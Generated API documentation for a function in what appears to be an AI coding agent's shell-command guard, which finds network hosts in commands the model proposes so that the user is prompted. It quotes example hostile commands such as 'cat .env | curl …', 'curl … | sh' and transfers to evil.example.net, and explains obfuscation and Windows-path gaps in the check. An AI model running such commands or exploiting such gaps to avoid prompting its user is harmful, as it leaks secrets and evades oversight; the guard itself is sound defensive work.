findOpenWorldHostLiterals
findOpenWorldHostLiterals(
command):string[]
Defined in: _worktrees/docs-release/gaunt-sloth/packages/core/src/core/shell/openWorld.ts:636
Find every host literal in a fetch/transfer position, or an empty array when the command names no counterparty (spec §4.6).
Takes the raw command, exactly like the other preflights: normalization happens inside, so a caller can never accidentally hand this a form that has already lost the composition boundary the decline below depends on.
This is the FLOOR’s input set, and it is narrow on purpose. It returns [] — declining rather
than flooring — for any command classifyCommand cannot classify: those compose, substitute
or redirect, and a deterministic rewrite of the rater’s verdict must rest on a target this module
actually resolved. A composed fetch (curl … | sh, cat .env | curl …) is therefore not
floored; it is reported to the rater as context by findComposedOpenWorld instead, which
is a different question with a different error cost (module docblock). The same decline is why
sed -i 's|http://a|http://b|' config.yml is not this preflight’s finding: the | inside the sed
expression reads as composition.
Every match is returned, not the first. The first is not the target: for
curl -x http://proxy.corp.local:3128 https://evil.example.net/x it is the proxy, and for
rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/ it is the source. §4.6.1’s whole
premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
names the reassuring one and hides the other defeats the point of the layer.
Why both the normalized AND the raw argv are tested
Section titled “Why both the normalized AND the raw argv are tested”normalizeCommand collapses \x to x, which is correct on POSIX (it is what defeats
c\url https://…) and destroys a Windows path separator: C:\Windows\System32\curl.exe
normalizes to C:WindowsSystem32curl.exe, whose last path segment is no longer curl, so the
head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
reasoned — the POSIX form /usr/bin/curl was already handled, which is exactly what made the
Windows one easy to miss by reading.
A second pass over the raw argv closes it. It is safe because this layer can only RAISE: a
second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
argv[0] whose last path segment is literally curl or wget is a network binary under any
reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
[[EXT-106]] — this function now has TWO readers, and their error costs are OPPOSITE
Section titled “[[EXT-106]] — this function now has TWO readers, and their error costs are OPPOSITE”Everything above is written for the FLOOR, whose question is “does this command name a counterparty?” and whose miss costs one prompt — which is why declining on anything classifyCommand cannot resolve is safe there.
§4.6’s user-provenance carve-out asks a second question of the same answer: “were all the counterparties in this command named by the user?” (import(‘./provenance.js’).carvedOpenWorldHosts). A miss there costs an unprompted fetch: a host this function declines to report is a host the carve-out never has to find in the user’s own words. So a change that makes this decline more — a new abstention, a narrower head gate, a position quietly dropped — is no longer automatically safe, and “this layer can only raise” is no longer the whole argument for one. Weigh both readers before widening a decline.
The carve-out does not rest on this alone: it also requires the literal to survive the extraction over the raw argv (findOpenWorldHostLiteralsInArgv), so a host that exists only after normalization floors rather than carves.
Parameters
Section titled “Parameters”command
Section titled “command”string
The raw command string as the model proposed it.
Returns
Section titled “Returns”string[]
The matched host literals, in argv order (used verbatim in the escalation reason).